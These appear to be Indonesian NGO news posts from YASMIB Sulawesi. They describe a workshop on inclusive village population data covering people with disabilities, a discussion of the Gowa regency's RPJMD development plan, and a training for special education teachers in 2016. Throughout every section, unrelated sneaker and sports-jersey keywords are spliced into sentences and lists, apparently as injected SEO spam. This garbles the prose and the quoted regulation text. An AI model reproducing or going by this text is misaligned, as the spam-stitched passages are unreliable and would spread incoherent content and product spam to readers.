Berbicara masalah ketersediaan data yang inklusi, seringkali pada profil Desa atau sistem pendataan yang ada di desa belum mengakomodir pihak atau  kelompok masyarakat yang selama ini masih termarginalkan. Sebagai contoh, di tingkat desa ditemukan, belum tersedianya data jumlah orang dengan disabilitas (penyandang cacat). Belum lagi ketika lebih spesifik mempertanyakan terkait jenis dan ragam disabilitas tersebut. Nike Roshe Run Homme Pada tingkat pemerintah kabupaten, diakui telah ada data disabilitas tetapi pun masih perlu terus mengevaluasinya karena di beberapa daerah data tersebut terkadang hanya berorientasi pada suatu program saja. Sehingga penyediaan data masih disesuaikan dengan kebutuhan program. Misalnya, data disabilitas yang ada hanya menyasar jumlah disabilitas kategori berat. max pas cher

Untuk memastikan pembangunan basis data tersebut, oleh Pemerintah melalui Peraturan Menteri Dalam Negeri (Permendagri) Nomor 12 Tahun 2007 mengatur Pedoman Penyusunan dan Pendayagunaan Data Profil Desa dan Kelurahan.Dalam Pasal 7 Data sumber daya manusia sebagaimana dimaksud dalam Pasal 5 meliputi: a. Canotte Los Angeles Clippers Nike Zoom HyperRev jumlah; b.  usia; c.  pendidikan; d.  mata pencaharian pokok; e.  agama dan aliran kepercayaan; f.  kewarganegaraan; g.  etnis/suku bangsa; h. scarpe adidas compra online cacat fisik dan mental; dan i. Yeezy Boost 350 Donna tenaga kerja. Goedkoop Nike Air Max

Dari beberapa indikator data sumber daya manusia pada profil desa tersebut di atas telah menyebutkan tentang orang dengan disabilitas ( huruf h, cacat fisik dan mental), namun mungkin masih perlu dibedah karena setelah dilakukan pengecekan pada rekap data di profil desa di beberapa wilayah, tidak ditemukan adanya data disabilitas (penyandang cacata) tersebut. adidas ace rose Zapatillas ROSHE RUN Selanjutnya masih perlu ditambahkan lebih jauh terkait penjelasan secara detil menurut ragam dan jenis disabilitas tersebut. nike pas cher Rutgers Scarlet Knights Bahkan mungkin pada kelompok atau unsur masyarakat yang lain, Jangan sampai ada yang belum masuk ke sistem tersebut.

Olehnya YASMIB Sulawesi telah melaksanakan Workshop Penyusunan Data Kependudukan yang Inklusif, pada tanggal 12 Januari 2016 yang bertempat di Hotel Remcy Panakkukang dengan dihadiri oleh KPI Gowa, LPP Bone, HWDI Sulsel, PPDI Sulsel, Kepala Desa Pakatto (Gowa), Sekretaris Desa (Barembeng), Kepala Desa Carigadding (Bone), Kepala Desa Mallari (Bone) dan Tim YASMIB Sulawesi

"Kegiatan ini sangat bermanfaat bagi kami terkhusus bagi Desa Pakatto Kabupaten Gowa, karena dengan adanya data ini agar seluruh lapisan masyarakat dapat terdata dan tepat sasaran", Ungkap Basir (Kepala Desa Pakatto). Senada dengan Andi Wahyuli (Kepala Desa Mallari) bahwa dari data ini kita bisa melihat kebutuhan penyandang disabilitas. air max

Workshop ini bertujuan "Untuk Menyusun dan menyamakan persepsi terkait pengembangan data kependudukan yang inklusif khususnya data kependudukan di tingkat desa, Untuk memfinalkan Draft awal Form Data Kependudukan yang inklusif" dengan harapan 1. Tom Brady Jersey Terbangunnya persepsiyang sama tentang DataKependudukaninklusif khususnya data kependudukan di tingkat desa, 2. Adanya Draft Form DataKependudukan yang inklusif di Desa yang nantinya digunakan dalam Pendataan.

Dengan harapan akan dapat berdiskusi dengan para CSO, Pemerintah Desa dan Pendamping Desa Di dua Kabupaten Bone dan Gowa untuk pengembangan sistem pendataan yang inklusif. Workshop ini merupakan Lanjutan dari Kegiatan Workshop Sebelumnya, dari program Peduli Difabel/Disabilitas di Sulawesi Selatan (Kabupaten Bone dan Gowa).

Diskusi terbatas Draft RPJMD (Rencana Pembangunan Jangka Menengah Daerah) menuju Pembangunan Inklusif di kabupaten Gowa

1

Undang-undang Nomor 25 tahun 2004 menjelaskan RPJMD ( Rencana Pembangunan Jangka Menengah Daerah)  merupakan dokumen perencanaan pembangunan daerah untuk  jangka periode selama 5 ( lima ) tahunan  yang berisi  penjabaran dari visi , misi , dan program kepala daerah dengan berpedoman pada RPJP Daerah serta memperhatikan RPJM Nasional, RPJMD menekankan tentang pentingnya menterjemahkan secara arif tentang visi , misi , dan agenda Kepala Daerah terpilih dalam tujuan , sasaran , strategi dan kebijakan pembangunan yang merespon kebutuhan dan aspirasi masyarakat serta kesepakatan tentang tolok ukur kinerja untuk mengukur keberhasilan pembangunan daerah dalam 5 tahun ke depan. Virginia Tech Hokies Jerseys Ada 5 Prinsip-prinsip yang penting harus diperhatikan pada saat proses penyusunan RPJMD yaitu 1. Womens Air Jordan 3.5 Strategis 2. Vanderbilt Commodores Demokratis dan Partisipatif 3. New Balance 998 mujer Politis 4.  Perencanaan Bottom Up  5. nike air max 1 og femme Air Jordan 7 Uomo Perencanaan Top Down, Untuk dapat mengukur keberhasilan Tujuan dan Sasaran maka harus dilengkapi indikator. Adidas Femme Tujuan dan Sasaran harus menggambarkan urusan yang menjadi tanggung jawab Pemerintah Daerah. Eli Manning Jersey

Kegiatan yang terlaksana Rabu, 10  Februari 2016 yang bertempat di Hotel Remcy Panakukkang (Ex Horison Panakkukang) dengan dihadiri oleh Unsur Pemerintah Kabupaten Gowa, Pemerintah Desa, elemen masyarakat, pemuda dan NGO itu sendiri pada kegiatan ini yang akan menjadi Nara Sumber H.Muchlis, SE, MSi  Sekretaris Daerah Kabupaten Gowa (Menjelaskan Pokok-pokok Pembangunan Inklusif di Kabupaten Gowa) Sujjadah, S.Stp, MM Sekretaris Badan Perencanaan Pembangunan Daerah (Bappeda) Kab. Maglia Patrick Ewing Gowa (Menjelaskan Pokok-pokok Draft RPJMD Kab.

  • Nike Air Max 90 Dames blauw
  • Gowa yang mendukung Pembangunan Inklusif). Air Max Zero

  • Air Jordan 5 Donna
  •  Bertujuan untuk mengetahui gambaran awal draft RPJD Kab.

  • air max 90 bianco donna
  • Air Max 2017 Nero Donna
  • Gowa terkait pembangunan Inklusif. Jake Arrieta Authentic Jersey Untuk menyamakan persepsi terkait Pembangunan Inklusif di Kabupaten Gowa. Fjallraven Kanken No.2 Dan harapan dari kegiatan ini  adanya Gambaran awal terkait Pembagunan Inklusif ke dalam draft RPJMD Kab. Kyle Arrington Auburn Tigers Gowa, Terbangunnya persepsi yang sama tentang pembangunan inklusif antara CSO, NGO (Non Government Organization), DPO (Difabel People Organization) dengan Pemerintah Kab. Troy Polamalu – USC Trojans Gowa.

    Pelatihan bagi Guru Pendidik Khusus (GPK) Di Kab. Gowa

    YASMIB, new balance 373 classic Illinois Fighting Illini Workshop bagi Guru Pendidik Khusus (GPK) di kab. adidas alphabounce hombre nike air jordan 13 mujer Gowa. Tom Brady College Jerseys New England Patriots Jersey Kegiatan ini dilakukan dalam program peduli disabilitas dari kementerian pembangunan Dan kebudayaan, Asics Gel Quantum 360 Dames bekerjasama dengan The Asia Foundation (TAF),YASMIB SULAWESI dan KPI Sulsel merupakan Pelaksana program utk kabupaten Gowa dengan fokus Pada dua desa, Nike Air Max BW Femme Temple Owls yaitu desa Pakatto dan Barembeng. adidas uomo Kegiatan ini berlangsung mulai 31 Mei – 3 Juni 2016 dan bertempat di Hotel Amaris Pettarani, Troy Polamalu College Jerseys Makassar

    Tujuan pelatihan ini adalah untuk menyamakan perspektif tentang pendidikan inklusif Dan meningkatkan SDM dan ketrampilan GPK DI Gowa, Saint Louis Billikens Jerseys sementara hasil yg d harapkan dari kegiatan ini adalah peningkatan kapasitas serta ketrampilan GPK.

  • Nike Air Max 2017 Donna
  • Kegiatan ini diikuti oleh 36 peserta yg terdiri dari 25 guru SD dn SMP Gowa, asics gel noosa hombre dinas pendidikan, DPO, nike tn requin nike internationalist donna mitra program dn Yasmib. air max 90 femme noir et rose et blanc New Balance 446 mujer

    Narasumber nya adalah Kadis pendidikan kab.